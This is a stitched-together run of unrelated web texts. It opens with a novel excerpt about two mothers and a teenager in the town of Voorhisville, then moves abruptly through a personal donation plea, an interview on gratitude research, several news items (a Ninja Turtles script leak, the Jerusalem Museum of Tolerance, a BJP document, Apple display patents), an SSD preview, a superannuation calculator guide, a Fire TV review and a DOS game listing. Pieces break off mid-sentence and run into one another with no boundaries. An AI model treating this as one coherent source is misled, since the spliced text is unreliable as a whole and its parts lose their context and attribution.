She wanted to investigate the wings, but Emily would be there any minute, so Shreve hurriedly dressed Michael in a pink romper (she didn’t believe in the certain-colors-for-certain-genders thing) and wrapped him in the yellow blanket Emily had given her. It was rather warm in the house for a blanket, but Shreve thought it the best protection against any revelation of his wings.
Right then, the doorbell rang. “Hellooo,” Emily called, in a soft singsong voice. “Is there a mommy home?”
“Come in,” Shreve singsonged back, walking to the door with Michael in her arms.
“He’s beautiful,” Emily said. “He looks a lot like his brother.”
“Oh, let me see.”
“He just fell asleep. I don’t want to wake him.”
“Okay,” Shreve said, realizing that she had no idea what kind of mother Emily would be. “Well, come in. I’ll make some tea.”
The first time Emily had seen Shreve’s tiny kitchen—which was painted blue, yellow, and red—she thought it quite strange, but she had grown to like the cozy space. She sat at the small wooden table while Shreve prepared the teakettle and teapot, all while holding Michael.
“You look completely comfortable,” Emily said. “You probably gave birth like it was nothing.”
Shreve couldn’t even smile the memory away. She turned to her friend with an expression of horror. “No. It was terrible.”
“Me too,” Emily said.
“I mean, I expected pain, but it was—”
“I know, I know,” Emily said, so loud she woke up Gabriel. She didn’t move towards unstrapping the Snugli; but remained seated, jiggling her knees while the baby cried harder.
Shreve did not like to judge, but the thought occurred to her that Emily might not be very good at this mothering thing. “We could go in the living room,” Shreve said. “Lay them down on the blanket and introduce them to each other.”
“Sometimes he cries like this,” Emily heard herself saying, stupidly.
Shreve thought that even the way Emily tried to soothe her baby, like a police officer patting down a suspect, proved that not all women are natural mothers.
The teakettle whistled and Michael joined in the crying. Shreve, laughing, turned to take the kettle off the burner.
“Okay,” Emily said over her baby’s wailing. “Let’s go in the living room.”
It was warm enough that Shreve had opened the windows. The chakra wind chimes hanging outside were silent in the still air. Shreve realized she wouldn’t be able to justify laying Michael down wrapped in a blanket. Instead, she got the little carrier seat one of her yoga students had given her.
At the time, Shreve had not expected to ever use the thing. She intended to raise her child without ever making his body conform to the unnatural rigidity of plastic. Now Shreve placed the carrier at the edge of the blanket on the floor. She set Michael—who had already stopped crying—into it, and adjusted the straps. Emily could see his beautiful face and perfect little body, but there was no danger of exposing his wings.
“Oh,” Emily said. “I thought we were going to lay them down together.”
“I’ll get the tea. If he gets fussy, just leave him there, okay?”
Emily unfastened the Snugli and took Gabriel out. He looked at her with those intense blue eyes of his. She patted his back, and he started to make small noises. “Shhh, it’s okay,” she cooed. “Mommy’s just checking.” Satisfied, she laid him on the blanket in the sun, facing Michael.
Immediately the two babies grinned at each other.
“Shreve,” Emily called, “come quick. You have to see this!”
Shreve ran into the room. “I told you not to touch him,” she said, stopping short when she saw that Michael remained in the carrier.
Emily decided to forgive Shreve’s odd behavior. She pointed at the brothers. “Look,” she said, “it’s like they recognize each other.”
“I can’t believe he can do that already,” Shreve said.
“What?”
“Lift his head up like that.”
“Oh, yeah,” Emily shrugged. “He’s really strong.”
“Look at them,” Shreve said.
“It’s like they’re old friends.”
Shreve walked back to the kitchen and returned with the tray, which she set on the table next to the futon. She poured a cup for each of them. Emily sipped her tea, still focused on her baby’s back. That’s when she remembered that there had been a paper mill in Voorhisville, years ago. She’d heard about it once, she couldn’t remember where. Maybe there were chemicals in Voorhisville, in the soil, or perhaps in the water. “Have you ever heard anything bad about the city water?” she asked.
“Oh, I use bottled water,” Shreve said. “He’s beautiful. Have you thought of a name yet?”
“Gabriel.”
“Like the angel?”
“I guess it’s old-fashioned.”
“I like it,” Shreve said, but was thinking, Does she know something? Is she trying to trick me? “Why’d you choose it?”
Emily shrugged.
The two women sat sipping their tea and staring glumly at their beautiful children, Michael and Gabriel, who continued to coo and gurgle, occasionally even thrusting little fists in the other’s direction, as though waving.
“Emily?” Shreve asked.
“Uh-huh?”
“Do you believe in miracles?”
“Now I do,” Emily said. “You know, I’ve been thinking. Let’s say that we found out there was some kind of chemical, oh, in the soil, or something—you know, from the paper mill, for instance. Let’s say it was doing something to the people in Voorhisville. Would we call it a miracle? You know, if it was a chemical reaction or something? I mean even if what happened was, well, miraculous? Or would we call it a disaster?”
“What are you talking about?” Shreve asked.
“Crazy thoughts, you know. I guess from the hormones.”
Shreve nodded. “Well, you know what they say.”
“What?”
“God works in mysterious ways.”
“Oh,” Emily said. “That. Yeah. I guess.”
The two mothers sat on the futon, sipping green tea and watching their babies. The sun poured into the room, refracted by the chakra wind chimes. The babies cooed and gurgled and waved at each other. Shreve took a deep breath. “Do you smell that?”
Emily nodded. “Sylvia’s roses,” she said. “They’re brilliant this year. Hey, did you know she’s pregnant?”
“Maybe there is something in the soil.”
“I think maybe so,” Emily agreed.
On that day, it was the closest they came to telling each other the truth.
Theresa Ratcher had joined the library book club with her daughter Elli right after her fifteenth birthday. They left the house at 5:20 p.m. with the car windows rolled down, because the Chevy didn’t have air-conditioning. Elli sat in the front seat, leaning against the door, which Theresa had told her a million times not to do, in case it popped open. Theresa drove with one elbow sticking out the window, the hot air blowing strands of hair out of her ponytail. Elli had been humming the same melody all week. Theresa reached to turn on the radio, but thought better of it and pretended to wipe a smudge off the dashboard instead. She knew they would just have an argument about what station to listen to. The news was depressing these days.
“Maybe you could think of something else to hum?”
Elli turned, her mouth hanging open, a pink oval.
“You’ve been on that same song for a while.”
“Sorry,” Elli said, her tone indicating otherwise.
“I like to hear you hum,” Theresa lied. “It’s just, a change of tune would be nice.”
Elli reached over and snapped on the radio. Immediately the car was filled with static and noise, until she finally settled on something loud and talky.
Theresa glanced at her daughter. Did she really like this sort of “music”? This fuck-you and booty-this and booty-that groove-thing stuff? It was hard to tell. Elli sat slumped against the car door, staring blankly ahead.
Theresa glanced at her pretty daughter leaning both arms on the open window’s ledge, as though trying to get as far away from her mother as possible. She resisted the urge to tell Elli to make sure her head and arms weren’t too far outside the car; this was the sort of stuff that deepened the wedge between them. Still, Theresa argued with herself, she had heard that story about the two young men driving home after a night of drinking, the passenger, his head hanging out the window, hollering drunken nonsense one minute and the next—whoosh, decapitated by a guide wire. “Stick your head back in the car this instant.”
Elli gave her one of those you’re-ruining-my-life looks that Theresa hated.
“I just don’t want you getting your head chopped off.”
“This isn’t Iraq,” Elli said.
“What?”
“Nothing. I was making a joke.”
“It’s not funny. That’s not funny at all.” Theresa glanced at her daughter, hunched against the door, arm crooked, elbow hanging out the window. “Billy Melvern died over there. The Baylors’ daughter is leaving in a week.”
“It was Afghanistan.”
“What?”
“Billy Melvern didn’t die in Iraq. It was Afghanistan.”
“Still,” Theresa said.
Elli sighed.
Theresa snapped off the radio. Elli snickered, loudly. They drove the rest of the way to Voorhisville in silence.
What was it about him? Later, Theresa would spend many hours trying to name the thing that made Jeffrey so attractive. He arrived late, and, with a nod towards the moderator, sat down. That was it. He sat there, nodding, occasionally recrossing his legs as they talked about Faulkner, Hemingway, Shakespeare, and Woolf.
Theresa felt like she was in way over her head. She thought this would be like Oprah’s Book Club. Well, before Oprah started doing classics. To Theresa’s amazement, Elli was talking about one of Shakespeare’s plays. That’s the first time the stranger spoke. He said, “We are such stuff as dreams are made on,” and Elli smiled.
It was just a smile. There was nothing extraordinary about it. Well, other than that Elli had smiled. Theresa didn’t give it another thought after that. Certainly she hadn’t thought it meant anything.
Afterwards, when they were trying to decide if they would all go out for coffee, Mickey Freedman showed up and invited Elli to spend the night. “Are you sure it’s okay with your mother?” (Theresa was perpetually suspicious of Mickey Freedman who, though only Elli’s age, always acted so confident.)
“Yeah, it’s no problem,” Mickey said. “You wanna call her?”
Theresa considered the small purple phone the girl dug out of her backpack. The truth was, Theresa had no idea how to use these portable devices. She turned to Elli, who was chewing gum as though it was a competitive event. “Well, have a good time,” Theresa said, trying to sound breezy, fun.
The girls didn’t wait a second. They were gone, leaving the scent of gum, as well as something Theresa only noticed after the fact: a worrisomely smoky scent, wafting in the air behind them.
At that point, Theresa discovered everyone had left without her. There were only two places in Voorhisville where a book group could meet for coffee and conversation: The Fry Shack, out on the highway, or Lucy’s, which was a coffee shop in the pre-Starbucks sense of the word—a diner, really; though Lucy was fairly accommodating of the new fashion for only ordering coffee, as long as it was during off hours. Theresa walked out of the library and took a deep breath.
“Smells nice, doesn’t it?” the stranger said.
He was standing by the side of the building. Almost as though he’d been waiting.
Theresa nodded.
“Mind if I join you?”
What could she do? She couldn’t be rude, could she? He seemed perfectly nice, it was still light out, and it was Voorhisville, for God’s sake. What bad thing could possibly happen here?
“I’m not going to Lucy’s,” Theresa said, turning away from him.
“Neither am I,” he said, and fell in step beside her.
What had it been; what had it meant? Over and over again as the leaves fell to the dry flameless burn of that season, Theresa Ratcher asked herself these questions, as though if she asked enough, or in the right mental tone, the answer would appear. What had it been; what had it meant? As leaves fell in golden spiral swirls, on autumn days that smelled like apples. What had it been; what had it meant? As ghosts and vampires and dead cheerleaders carried treat bags and plastic jack-o’-lanterns through town—Theresa had forgotten what day it was—she returned home to find her husband in the living room watching The Godfather again, and she stood in the kitchen and stared out at the lonely unbroken dark.
What had it been; what had it meant? When she said, “I’m pregnant,” and her husband looked at her and said, “Are you kidding?” and she said, “No,” and he said, “This is going to be expensive,” and then, “Wait, I’m sorry, it’s just... are you happy?” and she had shrugged and gone to the kitchen and looked out the window at the lonely dark fields of broken corn.
What had it been; what had it meant? Standing in the frozen yard, snowflakes falling, swirling around her and then suddenly gone, leaving a cold ray of sun and the feeling in her body as though tortured by her bones.
What had it been; what had it meant? Opening the door to Elli’s bedroom, and seeing her standing there, naked, and realizing that she had not merely been gaining weight. “I’m your mother. Why didn’t you tell me?” Theresa asked. “I hate you,” Elli screamed, trying to cover her distended belly with a towel.
Elli
We are running out of the library, giggling because we are free! I see the guy from the library, not the old one with the tie, but the cute one with the eyes like Eminem. He smiles at me and I smile at him and Mickey goes all nuts and says, “Who is that?” and I just shrug. We are walking down the street and Mickey says, “The graveyard,” and I go, “What?” and she says, “Old Batface’ll tell my folks if we have a party or anything, but I know where my dad hides his peppermint schnapps. Let’s go home and make hot chocolate with peppermint schnapps and go to the graveyard. You’re not scared, are you?”
“I’m not afraid of ghosts,” I say. “It’s real people that freak me out. What if Batface sees us leave?”
“She watches Seinfeld all night long. We’ll go out the back door.”
So we walk down the street to Mickey’s house and that line keeps going through my head: “We are such stuff as dreams are made on.” I feel like I am in a dream, like I have a body but I don’t feel inside it, like we are surrounded by fireflies, even though it’s light out, like the sky is filled with twinkling; and I feel free. Free from my mom with all her fears and rules and that depressed way of hers, and free from Dad with his stupid jokes, and free from the farm with its shitty smell and the silence except for all the birds and bugs.
Mickey says, “Who should we invite?”
“Where’s your brother?” I ask. “Isn’t he supposed to be watching you?”
“Vin’s got one goal between today and Sunday night, when my parents get back, and that’s to get into Jessica’s pants. He doesn’t care what I do, as long as I don’t get in his way.”
Sure enough, when we open the door, we see a purse and two wineglasses. Upstairs, there is the sound of pounding, and Mickey looks at me and says, “Do you know what that is?” I shake my head. (We are such stuff as dreams are made on.) “He’s doing her,” she says and we giggle until we are bent over. Then Mickey opens cupboards and says, “Here, make the hot chocolate. I’ll be right back.”
I fill the teakettle with water and put it on the burner and think, What are we doing, why are we doing this? Then Mickey is back, talking on the phone, saying, “Yeah, all right.” Through the window I can see right into Mrs. Wexel’s living room where she’s sitting in a chair in front of the TV, and in the TV is tiny Jerry Seinfeld saying something to tiny Elaine, and even from all this distance I think how big their teeth are. Mickey puts the teakettle on and says, “They’re going to meet us there.”
We are such stuff as dreams are made on.
I pour hot water into the thermos and the light begins to fade and we leave out the back door, cutting across driveways and yards until we are on the road walking past the crooked house with the roses that smell so sweet, going up the hill to the graveyard, which is glowing. Mickey says, “You’re sure you’re not afraid?”
I say, “We are such stuff as dreams are made on.”
“Did you make that up?”
Before I can answer, Larry is standing there and Mickey says, “Where’s Ryan? Where are the guys?” Larry says, “He couldn’t come. Nobody could come.” He looks at me and nods and we trudge up the hill, weaving through the graves, past the angel, back past where all the dead babies are buried. We spread out the |
today’s article? Not sure really, but given that carrying cash seems to be passe, maybe it’s time to start doing that, because the amount of credit debt the typical consumer carries these days, what will happen when interest rates finally do take off?
Like this: Like Loading...hi guys, i’m sorry to be making something like this again. my name is madison and i’m a jewish lesbian from philly. i’m an incoming sophomore to my university and i come from a low income household. i am moving into a university affiliated apartment that i will pay for with a student loan and a co-op job, which i don’t receive the loan until late september and do not start my job until the same time as well.
as you can see, i have a payment plan in the works, but need some money. i will have 25 dollars less tomorrow because of therapy and i need a few hundred dollars for transportation to my job (a monthly pass for the train and two weekly pass) and for rent. my abusive mom is also threatening to cut me off from any little help that she did give me. i may have to stay at a friend’s soon because of this (i am currently at my partner’s and have yet to see her for two weeks)
if anyone could help my paypal is paypal.me/madisonmazeltov. i’m really sorry again if this seems like not a big issue but it’s mainly everything coming to a head and my mom. thank youBy: Alvaro Fernandez
(Dear reader: Here you have a little gift to continue the Thanksgiving spirit. Enjoy the interview, and thank you for visiting our site.)
Prof. Robert Emmons studies gratitude for a living as Professor of Psychology at UC Davis and is Editor-In-Chief of the Journal of Positive Psychology. He has just published Thanks: How the New Science of Gratitude Can Make You Happier, an interdisciplinary book that provides a research-based synthesis of the topic as well as practical suggestions.
Alvaro Fernandez: Welcome. Prof. Emmons, could you please provide us an overview of the Positive Psychology field so we understand the context for your research?
Robert Emmons: Sure. Martin Seligman and colleagues launched what was called “positive psychology in the late 90s as an antidote to the traditional nearly exclusive emphasis of “negative psychology” focused on fixing problems like trauma, addiction, and stress. We want to balance our focus and be able to help everyone, including high-functioning individuals. A number of researchers were investigating the field since the late 80s, but Seligman provided a new umbrella, a new category, with credibility, organized networks and funding opportunities for the whole field.
And where does your own research fit into this overall picture?
I have been researching gratitude for almost 10 years. Gratitude is a positive emotion that has traditionally been the realm of humanists and philosophers, and only recently the subject of a more scientific approach. We study gratitude not as a merely academic discipline, but as a practical framework to better functioning in life by taking control of happiness levels and practicing the skill of emotional self-regulation.
What are the 3 key messages that you would like readers to take away from your book?
First, the practice of gratitude can increase happiness levels by around 25%. Second, this is not hard to achieve — a few hours writing a gratitude journal over 3 weeks can create an effect that lasts 6 months if not more. Third, that cultivating gratitude brings other health effects, such as longer and better quality sleep time.
What are some ways to practice gratitude, and what benefits could we expect? Please refer to your 2003 paper in the Journal of Personality and Social Psychology, where I found fascinating quotes such as that “The ability to notice, appreciate, and savior the elements of one life has been viewed as a crucial element of well-being.
The most common method we use in our research is to ask people to keep a “Gratitude Journal” where you write something you feel grateful for. Doing so 4 times a week, for as little as 3 weeks, is often enough to create a meaningful difference in one level of happiness. Another exercise is to write a “Gratitude Letter” to a person who has exerted a positive influence on one’s life but whom we have not properly thanked in the past, and then to meet that person and read the letter to them face to face.
The benefits seem to be very similar using both methods in terms of enhanced happiness, health and wellbeing. Most of the outcomes are self-reported, but there is an increasing emphasis on measuring objective data such as cortisol and stress levels, heart rate variability, and even brain activation patterns. The work of Richard Davidson is exemplary in that respect, showing how mindfulness practice can rewire some activation patterns in the frontal lobes.
Now, let me give an overview of the paper you mention, titled Counting Blessings versus Burdens: An Experimental Investigation of Gratitude and Subjective Well-Being in Daily Life (note: reference below). The paper includes 3 separate studies, so I will just be able to provide a quick glimpse. More than a hundred adults were all asked to keep a journal, and were randomly assigned to 3 different groups. Group A had to write about things they felt grateful about. Group B about things they found annoying, irritating. Group C about things that had had a major impact on them. 2 out of the 3 different experiments were relatively intense and short term (keeping a daily journal for 2–3 weeks), while one required a weekly entry during 10 weeks.
Across the 3 different studies we found that people in the gratitude group generally evidenced higher-levels of well-being than those in the comparison conditions, especially when compared to Group B (the one journaling about hassles), but also compared to the “neutral” group.
In the longer study, which ran for 10 weeks, we also saw a positive effect on hours of sleep and on time spent exercising, on more optimistic expectations for the coming week, and fewer reported physical symptoms, such as pain. Additionally, we observed an increase in reported connectedness to other people and in likelihood of helping another person deal with a personal problem.
We could then say that we can train ourselves to develop a more grateful attitude and optimistic outlook in life, resulting in well-being and health improvements, and even in becoming better-not just happier- citizens. And probably one can expect few negative side effects from keeping a gratitude journal. What do you think prevents more people from benefiting from these research findings?
Great question, I reflect often on that. My sense is that some people feel uncomfortable talking about these topics, since they may sound too spiritual, or religious. Others simply don’t want to feel obligated to the person who helped them, and never come to realize the boost in energy, enthusiasm, and social benefits that come from a more grateful, connected life.
Judith Beck talked to us recently (interview notes here) about her work helping dieters learn important mental skills through cognitive therapy techniques. You talk about gratitude. Other positive psychologists focus on Forgiveness. How can we know which of these techniques may be helpful for us?
The key is to reflect on ones goal and current situation. For example, the practice of forgiveness can be most appropriate for people who have high levels of anger and resentment. Cognitive therapy has been shown to be very effective against depression. In a sense both groups are trying to eliminate the negative. Gratitude is different in that it is better suited for highly functioning individuals who simply want to feel better — enhancing the positive.
Prof. Emmons, thank you for your time, and research.
You are welcome.
—————
Related reading
- Book: Thanks: How the New Science of Gratitude Can Make You Happier
- Emmons, R. A. & McCullough, M. E. (2003). Counting blessings versus burdens: An experimental investigation of gratitude and subjective well-being in daily life. Journal of Personality and Social Psychology, 84, 377–389
- Excellent blog post analyzing that study
- Other interviews in our Neuroscience and Psychology Interview SeriesProducer says leaked script was written before he took on the 'Teenage Mutant Ninja Turtles' reboot
Filmmaker Michael Bay has distanced his Ninja Turtles movie from a leaked script that is circulating online.
Last week (August 26), the leaked script was savaged by Peter Laird, co-creator of the original Teenage Mutant Ninja Turtles comic book series. Writing on his personal blog, Laird said: “The script that I read is so fundamentally flawed, and — more to the point — so NOT a Teenage Mutant Ninja Turtles movie, that trying to make piecemeal changes to it in an effort to make it into something halfway decent is probably a fool’s errand.”
Bay has now responded by disowning the leaked script. He posted on his own website: “The leaked script for Ninja Turtles that different sites continue to comment on was written well before I, or anyone at Platinum Dunes, was involved with the project. That script saw the shredder a long time ago. This is tired, old news — Wait for the movie!”
Bay’s TMNT reboot has already been plagued by controversy. Earlier this year (March 2012), fans reacted angrily when they discovered that the half-shelled heroes will be re-imagined as alien creatures. They also objected to the film’s title being shortened to Ninja Turtles.
Ninja Turtles was originally scheduled for a Christmas 2013 release, but has since been pushed back to May 2014 following reported production difficulties. Battle Los Angeles director Jonathan Liebesman is helming the project, with Bay serving as producer. The finished script has been written by Josh Applebaum and Andre Nemec, whose previous credits include Mission: Impossible – Ghost Protocol.'Museum of Tolerance' provokes row in Jerusalem
Updated
It is being billed as the 'Museum of Tolerance' - a Jewish institution being built in Jerusalem apparently to promote harmony between Muslims and Jews.
But its construction on the site of an ancient Muslim cemetery has outraged Palestinians, who say it is a deliberate attempt to erase their history.
They say the very name of the museum is laughable, and now 60 Palestinians have lodged a petition with several United Nations agencies in a bid to stop its construction.
Mamilla Cemetery, in the heart of Jerusalem, goes back to the earliest days of Islam in the 7th century AD.
Some of those buried here are said to include Muslims who personally knew the Prophet Mohammed, along with more recent scholars and leaders and even Muslim warriors who fought the Crusaders in the 12th century.
For centuries, thousands of graves have been dug on top of each other, at times four or five layers deep.
But Palestinians in Jerusalem fear that history is about to be erased forever.
Proof of inhabitation
Dyala Husseini, a Palestinian with hundreds of ancestors buried at the site, says the cemetery proves Muslim families have lived in the area for centuries.
"It is not only that it is sacred to us as a burial ground, but it proves our existence in Jerusalem as Palestinian and Muslim families since at least 800, 900 years ago," she said.
"This headstone, it says "Sleeps here, the Sheikh Badradeen Mustafah Zean, died in 1161."
Palestinian lawyer Diana Buttu says the Simon Wiesenthal Centre's 'Museum of Tolerance' name is laughable.
"We've already seen tombstones that have been removed, there were times where we saw open graves with wires running through, where the bodies are located," she said.
"And the idea of creating a museum of tolerance in such an intolerant way is very ironic and very disrespectful to the families and to those buried there."
She says 60 Palestinian families are taking their case to the UN's special rapporteur on religious freedom in the hope of generating international support for the case.
"There's a hope that if there's enough pressure brought to bear that the museum will actually stop rather than continue," she said.
'Used to be a car park'
Privately though, Palestinians accept they have little chance of succeeding.
The Israeli Supreme Court already ruled in 2008 that Mamilla was no longer used as a cemetery and any bones found there could be moved.
And the Dean of the Simon Wiesenthal Centre, Rabbi Marvin Hier in Los Angeles, says for 50 years the museum site has been used as a car park.
"We're building on the former municipal car park which for a half a century parked 1,000 cars a day and Muslims, Christians and Jews parked there, every single day, without any protest from any Muslim group for half a century," he said.
"So they can appeal to the moon, the project is going forward."
Topics: unrest-conflict-and-war, palestinian-territory-occupied, israel
First postedBe sure to read our latest SSD article: The SSD Relapse for an updated look at the SSD market.
Earlier today the FedEx man dropped off a box with this in it:
That's the new X25-M G2 I wrote about yesterday, which features a slightly improved controller and 34nm NAND flash. Im hard at work on a full review but I thought I'd share some preliminary data with you all.
As I mentioned yesterday, the new drive has a silver enclosure. Intel says the new enclosure is cheaper than the old black one:
The X25-M G2 (top) vs. the X25-M G1 (bottom)
Our sample also shipped with a plastic spacer so the drive can be used in 9.5mm 2.5" bays as well as 7mm bays by removing the spacer.AHMEDABAD: The ‘vision document for minority empowerment’ that the BJP had promised with much fanfare last June has finally been dumped by the party. A month after Gujarat chief minister Narendra Modi was made chairman of the BJP’s national campaign committee, the party had also got into the Sadbhavana mode and started identifying problems faced by Muslims. But a few weeks before the general elections, the saffron brigade has developed cold feet and decided not to release the nearly-ready document.BJP vice-president Mukhtar Abbas Naqvi was head of the committee that was working on the document. Other members of the party were Shahnawaz Hussain, BJP Minority Morcha chief Abdul Rashid Ansari, and the morcha in-charge J K Jain. It was to be released after the 2013 assembly elections in five states, and form the basis of the party’s commitments in its Lok Sabha manifesto regarding matters affecting the minority community.“Ever since Modi’s name was declared as our PM candidate, we have been walking on eggshells on issues affecting Muslims,” a senior functionary of BJP said from Delhi. “The vision document had certain matters that may not have been included in the manifesto. That would have attracted unnecessary media attention. Hence, the party top brass decided not release the document,” he said.“We are instead providing some points as inputs for inclusion in the party manifesto for the 2014 Lok Sabha polls,” he added.BJP mulling ‘Central Madrassa Education Board’?Among the inputs culled from the dumped vision document, one that may prove controversial for the BJP is the proposal to set up a ‘Central Madrassa Education Board’. A senior functionary of the BJP, however, tried to assuage fears that this could lead to interference in the administration of madrassas. “The board, if constituted, will work towards standardization of madrass education and have full participation of community leaders,” he said.Is Apple working on a rival to Google Glasses? Leak hints that a head-mounted iPhone may be on the way
Apple's move could be response to upcoming 'Google Glasses'
Patent for wearable computing device with transparent glass
Move comes as companies such as Epson bring out techno-glasses
Apple could be working on a wearable, head-mounted version of its his iPhone.
Patents uncovered this week show that the technology giant has been investigating a head-mounted display with transparent glass.
Google showed off early versions of its own 'computer glasses' - Project Glass - earlier this week. Companies such as Epson have already rushed to make their own versions.
Apple's patents, filed in 2006, suggest that the company has been interested in the technology for a considerable time.
Ready for sale: Selected software developers have chance to pay $1,500 to order an advance version of Google Glass, which was displayed by co-founder Sergey Brin at the Google I/O conference on Wednesday
Extreme: The Glass demonstration was meant to prove that the device is ready for users to begin testing it and pushing its limits
It's not clear how close to market Apple's version might be.
Apple's patent refers to, 'Methods and apparatus, including computer program products, implementing and using techniques for projecting a source image in a head-mounted display apparatus for a user.'
Google's glasses are designed to let users capture video with a built-in camera as well as use apps, the internet, and social networking sites on the move.
A small projector displays an image in front of the wearer's eyes while letting them stay aware on the outside world.
The idea is to bypass computers, tablets and smartphones entirely and keep the user connected in a (fairly) discreet way.
With the glasses, directions to your destination or a text message from a friend can appear literally before your eyes.
Experience: Google has already released a sneak-peak at the user-interface for the Glass, which broadcasts data directly in front of the eye, bypassing cell phones
The demonstration shows off a weather forecast layered over a view of the world
Tip: Google's Glasses would provide practical alerts to direct a user of where to go...or not go
You can converse with friends in a video chat, take a photo or even buy a few things online as you walk around.
In development for more than two years, the project is the brainchild of Google X, the online search leader's secret facility that spawned the self-driving car and could one day let people ride elevators into space.
Isabelle Olsson, an engineer on the Glass project, said the company created the glasses for people to interact with the virtual world without distracting them from the physical world.
It is designed to interact closely with your senses, without blocking them.
She said Google had two broad goals in mind: communications through images and quick access to information. The device has a camera to capture fleeting moments and allow others to see the world through your eyes.Australian Superannuation Free Calculator – Compare Super Funds
I have created a free tool through Google Sheets that lets you change and compare superannuation funds in Australia.
I found the online tools to be quite clunky and was hard to compare a lot of superfunds at the same time. I made my own and it is still in early phases but it seems to work pretty well for me at least. Always open to changing/adjusting it so others can use it too.
If you need to enter a value with a percent sign, be sure to type % on the end otherwise it may come up with an error.
How To Use The Free Tool
Section 1
Firstly, check the date last updated and the version. This may change over time, I have included a log sheet to keep track of changes.
Figure 1 – General Information for the Calculator
Section 2
Enter in your information in the section shown as below, Figure 2. This will include your wage, your current super value and percentage (automatically set at 9.5%), contribution and how many years left until you expect to retire. All these figures are just generic and you can change to what your current status is.
On the right hand side of Figure 2 you can see the Custom Super Comparison section. Change this section to what your current Super is sitting at or at the one you wish to compare with. For example, I have entered in the Admin Fees and Investment Fees for an ING Living Super. All this information can be found on your companies site or you can get it from websites like Rate City.
Figure 2 – Your Current Information and Super Comparison Input
Section 3
In this section I have included some examples of Super Funds and what their current fees are. These are just examples taken from Rate City. I have no affiliation with any super fund and I currently have my super in ANZ Smart Choice but looking to change if I find a better option due to their performance not being fantastic.
In section 3 you can change the performance, the other sections are locked as this information comes from Rate City. If you want to play with their performance then feel free to change the last section on the right. The Custom Super takes information from the section 2, so these cells should be locked too.
Figure 3 – Superannuation Information
Section 4
Section 4 has the end result. What your super balance will look like at the end of how many years you entered in Section 2. Please note this will only go up to 50 years. If you see any errors in this then please let me know. As you can see as the Admin Fees and Investment Fees are quite similar the end result does not have a huge difference but the ultimate factor is the Super’s performance over how many years you entered in.
Figure 4 – Your Results
Section 5
Section 5 shows the end result as a graph. This graph is dynamic and will change depending on what you enter in the Section 2.
Figure 5 – Graphical Representation of Performance over years entered in Section 2.
Future Improvements
Currently there is no allowance for wage inflation.
Comparison to stock market.
More examples of other Super funds.
Simplicity improvements.
If you get a chance to use the tool then please feel free to give me some constructive criticism on how to improve the tool in the future.This review is more of a guide for cablecutters, which we have found fire TV a great way to accomplish this. There's plenty of reviews explaining how to use the fire, so this is more for people like us who don't want to pay full cable prices but are ok with paying for access to apps to still watch all our cable shows, at a significant savings to cable, and are used to using a dvr (we used tivo) and don't want to watch commercials. We've had this box for a couple weeks now, and while it has taken some getting used to, since you have to access your shows through individual apps instead of them all being on one big list, we have found it worthwhile to make the switch.
Keep in mind you have to be able to plug an hdmi cord into your tv. We actually had to buy a new tv to be able to use this box but tvs are so cheap nowadays that it was still cheaper to buy a new one than to keep up with our cable bill. The savings in just the first several of months covered the cost of the tv. The interface on the fire tv is really easy to use and navigate through all the apps you wish to use and everything is kept nice and organized. We got the box instead of the stick because we wanted to have a more reliable, faster wired connection to our internet. At first I was sad to read on other reviews that the voice control doesn't work on any of the apps, but honestly I've never even used it once since getting it and once you sign into everything, there's not much need of typing to find your shows on other apps so I really don't miss it at all. If you just want this to watch prime tv included in your amazon subscription then you can stop here, the rest is about what apps we use (and pay for) to watch our shows. I will list what apps we have found useful and what we found we could do without.
I did the math before purchasing this, and even after paying the monthly subscriptions for ALL the apps we'd need to watch our favorite shows, we'd still be saving around $1000 per year! And now after using this for a couple weeks, it will be even more of a savings than I thought because we don't need to pay for Sling tv. The channels we'd mostly watch from sling have their own apps (A&E and History) where you can watch their shows for free with little to no commercials at all. On the Sling tv app you are forced to watch commercials, it has no fast forwarding or recording. We tried watching one show and there was 12 commercials in one of 4 or 5 commercial breaks. After using tivo for so many years, we couldn't handle it. So now, here are the apps we DO pay for and find useful:
1. Playstation vue. (note: you do *not* need a playstation to sign up for this. I do not own one. I made my account from my computer on their website) This one is by far the most expensive monthly fee, but for us it is totally worth it for the amount of channels, content and recording capability. has a lot of our favorite channels. AMC, discovery, fox, tlc, spike, fx, nbc, bravo, the food network, just to name a few! This is by far our most used app, and you cannot get it on other devices, like a roku, which is one of the reasons why we went with the fireTV. And it was certainly the right decision for us. Once you get it set up and add your "favorite" shows, it will act as it's own dvr and records and saves your shows for 30 days after they air. Most channels you can fast forward through commercials, except for a few. Like abc, and fox. If you want to watch such channels without commercials you can do as we did and also subscribe to:
2. Hulu. Commercial free plan is great, though some shows will still have 1 commercial at the beginning and the end, but I find that acceptable. Lots of cable show selections as well as some original shows. You can get a 30 day free trial, which can also include your 30 day trial of:
3. Showtime. As stated, we signed up to this through hulu so you access it through the hulu app.
4. HBO Now. Watch your favorite hbo shows at the same time as they would air on cable.
5 & 6 History and A&E apps, both free, both work great and allow us to not have to pay for Sling. I'm sure there are other channels that have such free app offerings, but these are the ones we have personally used and found to work very well.
And of course you have access to all that amazon has to offer, and netflix if you choose to subscribe to that too! We've had no trouble with any of the listed apps or the amazon box itself, setup was easy and once you choose all the apps you want to install/subscribe to, keeping up with your favorite shows is quite easy too. Hope this helps anyone else out there looking for a lower-cost cable option!
Update: I have been informed that playstation vue is now available on roku as well. I haven't personally used it on any device besides the fire TV though so I can't speak as to how the interface and ease of using the app compares on different devices, but it's definitely still our favorite TV recording & viewing app on the fireTV. Good news for roku owners though!Battle Bugs
Game information
Play this game online
You can play Battle Bugs on this website so you don't need to download and install the game on your computer. We recommend to use Google Chrome when playing DOS games online.
Online game Play this game online »
Download from this site
File File type File size batbugs.zip
executable: BUGS.EXE
Playable demo
MS-DOS 1,163 kB
(1.14 MB)
Screenshots
Description (by Sierra Entertainment)
The alluring odour of last week's pizza lies heavy in the air. Antennae strain and agony etches lines of pain into the faces of the cockroaches. With monumental effort, these warriors raise the flag above the carnage in the pepperoni.
This is Battle Bugs. A game of military strategy where insect troops rage across tabletops and storm junk food targets. Standing in their way are legions of enemy troops, armed to the teeth. You - and your battle strategy must guide your troops to glory. Will your armada of spiders cross the cola lake in time to save the flag? Will the suicide run of a kamikazee mosquito take out the praying mantis? At what price will victory be achieved?
Each level starts with a tongue-in-cheek battle scene showing your troops lined up against the enemy troops. Early levels are ''boot camp'' tutorials. Later levels progress from easy to very difficult. Become ''Napoleant'' of the insect world to take on the hardest levels. There are 22 different bug types and the levels on which the battle take place are constructed from 6 separate sets (Worlds).
